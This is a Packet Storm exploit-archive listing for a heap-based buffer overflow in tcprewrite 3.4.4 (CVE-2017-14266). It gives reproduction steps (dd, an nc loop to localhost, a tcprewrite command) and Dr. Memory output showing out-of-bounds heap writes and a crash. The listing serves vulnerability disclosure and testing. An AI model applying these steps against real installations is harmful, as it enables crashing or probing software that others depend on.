what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

tcprewrite 3.4.4 Buffer Overflow

tcprewrite 3.4.4 Buffer Overflow
Posted Sep 11, 2017
Authored by Hosein Askari

tcprewrite version 3.4.4 suffers from a heap-based buffer overflow vulnerability.

tags | exploit, overflow
advisories | CVE-2017-14266
SHA-256 | 2b8bf93af3c45f5df6259fd33dface4fd50a33158b9772a458ee3935a5c38b51

tcprewrite 3.4.4 Buffer Overflow

Change Mirror Download
################
#Title: tcprewrite Heap-Based Buffer Overflow
#CWE: CWE-122
#Exploit Author: Hosein Askari
#Vendor HomePage: http://tcpreplay.synfin.net/
#Product Description: When you want to give a PCAP file to someone, it gives away certain sensitive information such as an organizations internal IP range,
IP addresses of sensitive company assets, MAC addresses of critical hardware that could identify the product vendors. Tcprewrite is a security tool to rewrite packets stored
in PCAP file format, such as created by tools such as tcpdump and ethereal.
#Version : 3.4.4 Released under the Free BSD License
#Tested on: Ubuntu 16.04 (Linux 4.4.0-93-generic)
#Date: 11-09-2017
#Category: Application
#Author Mail : hosein.askari@aol.com
#Description: tcprewrite in Tcpreplay 3.4.4 has a Heap-Based Buffer Overflow vulnerability triggered by a crafted PCAP file can cause a memory corruption and potential code execution.
###############
#First we make a crafted file and send it to the network and capture its information by wireshark.
~Step 1:
sudo echo -ne '\x63\x72\x61\x66\x74\x65\x64\x20\x66\x69\x6c\x65\x20\x69\x73\x20\x6d\x61\x64\x65\x20\x62\x79\x20\x48\x6f\x73\x65\x69\x6e\x20\x41\x73\x6b\x61\x72\x69' | dd conv=notrunc bs=1000 seek=200 of=tcp3.txt
~Step 2(Sending the information and capturing by wireshark):
import os
for i in range(1,20):
os.system("cat tcp3.txt | nc 127.0.0.1 21")
~Step 3(Using tcprewrite):
sudo tcprewrite --portmap=21:2121 --infile=tcp.pcap --outfile=output.pcap
################
#POC:
constantine@constantine:~/Downloads/DrMemory-Linux-1.11.0-2/bin$ sudo ./drmemory -- tcprewrite --portmap=21:2121 --infile=tcp.pcap --outfile=output.pcap
~~Dr.M~~ Dr. Memory version 1.11.0
~~Dr.M~~ WARNING: application is missing line number information.
~~Dr.M~~
~~Dr.M~~ Error #1: UNADDRESSABLE ACCESS beyond heap bounds: writing 0x080d458f-0x080d4590 1 byte(s) within 0x080d458c-0x080d4590
~~Dr.M~~ # 0 replace_memcpy [/work/drmemory_package/drmemory/replace.c:246]
~~Dr.M~~ # 1 tcprewrite!? +0x0 (0x0804ae59 <tcprewrite+0x2e59>)
~~Dr.M~~ # 2 tcprewrite!? +0x0 (0x08049f91 <tcprewrite+0x1f91>)
~~Dr.M~~ # 3 tcprewrite!? +0x0 (0x0804a1a1 <tcprewrite+0x21a1>)
~~Dr.M~~ Note: @0:00:01.045 in thread 2521
~~Dr.M~~ Note: next higher malloc: 0x080d45b0-0x080e45af
~~Dr.M~~ Note: instruction: mov %eax -> (%ebx)
~~Dr.M~~
~~Dr.M~~ Error #2: UNADDRESSABLE ACCESS beyond heap bounds: writing 0x080d459c-0x080d459d 1 byte(s)
~~Dr.M~~ # 0 replace_memcpy [/work/drmemory_package/drmemory/replace.c:252]
~~Dr.M~~ # 1 tcprewrite!? +0x0 (0x0804ae59 <tcprewrite+0x2e59>)
~~Dr.M~~ # 2 tcprewrite!? +0x0 (0x08049f91 <tcprewrite+0x1f91>)
~~Dr.M~~ # 3 tcprewrite!? +0x0 (0x0804a1a1 <tcprewrite+0x21a1>)
~~Dr.M~~ Note: @0:00:01.047 in thread 2521
~~Dr.M~~ Note: next higher malloc: 0x080d45b0-0x080e45af
~~Dr.M~~ Note: instruction: mov %dl -> (%eax)
~~Dr.M~~
~~Dr.M~~ Error #3: UNADDRESSABLE ACCESS beyond heap bounds: reading 0x080d458f-0x080d4591 2 byte(s) within 0x080d458d-0x080d4591
~~Dr.M~~ # 0 libc.so.6!__GI___mempcpy [../sysdeps/i386/i686/multiarch/../mempcpy.S:54]
~~Dr.M~~ # 1 libc.so.6!__GI__IO_default_xsputn [/build/glibc-KM3i_a/glibc-2.23/libio/genops.c:438]
~~Dr.M~~ # 2 libc.so.6!_IO_new_file_xsputn [/build/glibc-KM3i_a/glibc-2.23/libio/fileops.c:1352]
~~Dr.M~~ # 3 libc.so.6!__GI__IO_fwrite [/build/glibc-KM3i_a/glibc-2.23/libio/iofwrite.c:39]
~~Dr.M~~ # 4 libpcap.so.0.8!pcap_dump +0x5f (0xb79f1100 <libpcap.so.0.8+0x1d100>)
~~Dr.M~~ # 5 tcprewrite!? +0x0 (0x0804adc6 <tcprewrite+0x2dc6>)
~~Dr.M~~ # 6 tcprewrite!? +0x0 (0x08049f91 <tcprewrite+0x1f91>)
~~Dr.M~~ # 7 tcprewrite!? +0x0 (0x0804a1a1 <tcprewrite+0x21a1>)
~~Dr.M~~ Note: @0:00:01.071 in thread 2521
~~Dr.M~~ Note: next higher malloc: 0x080d45b0-0x080e45af
~~Dr.M~~ Note: instruction: rep movs %ds:(%esi) %esi %edi %ecx -> %es:(%edi) %esi %edi %ecx
~~Dr.M~~
~~Dr.M~~ Error #4: LEAK 8 direct bytes 0x080c3168-0x080c3170 + 0 indirect bytes
~~Dr.M~~ # 0 replace_malloc [/work/drmemory_package/common/alloc_replace.c:2576]
~~Dr.M~~ # 1 tcprewrite!? +0x0 (0x08059e6c <tcprewrite+0x11e6c>)
~~Dr.M~~ # 2 tcprewrite!? +0x0 (0x0804ea21 <tcprewrite+0x6a21>)
~~Dr.M~~ # 3 tcprewrite!? +0x0 (0x0804c264 <tcprewrite+0x4264>)
~~Dr.M~~ # 4 tcprewrite!? +0x0 (0x08049e0c <tcprewrite+0x1e0c>)
~~Dr.M~~ # 5 tcprewrite!? +0x0 (0x0804a1a1 <tcprewrite+0x21a1>)
<Application /usr/bin/tcprewrite (2521). Dr. Memory internal crash at PC 0x7384d6d5. Please report this at http://drmemory.org/issues. Program aborted.
Received SIGSEGV at client library pc 0x7384d6d5 in thread 2521
Base: 0xb7e25000
Registers:eax=0x00000000 ebx=0x73934a30 ecx=0x00000002 edx=0x739355c0
esi=0x4b200ba8 edi=0x00000006 esp=0x4a0c6814 ebp=0x00000000
eflags=0x000102
1.11.0-2-(Aug 29 2016 02:45:30)0
-no_dynamic_options -disasm_mask 8 -logdir '/home/constantine/Downloads/DrMemory-Linux-1.11.0-2/drmemory/logs/dynamorio' -client_lib '/home/constantine/Downloads/DrMemory-Linux-1.11.0-2/bin/release/libdrmemorylib.so;0;-logdir `/home/constantine/Downloads/DrMemory-Linux-1.11.0-2/drmemory/logs` -symcache_dir `/home/constan
/home/constantine/Downloads/DrMemory-Linux-1.11.0-2/bin/release/libdrmemorylib.so=0x73800000
/usr/lib/i386-linux-gnu/libstdc++.so.6=0xb7c84000
/lib/i386-linux-gnu/libgcc_s.so.1=0xb7a33000
/lib/i386-linux-gnu/libm.so.6=0xb7c2e000
/lib/i386-linux-gnu/libc.so.6=0xb7a77000
/lib/ld-linux.so.2=0xb7a51000>
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close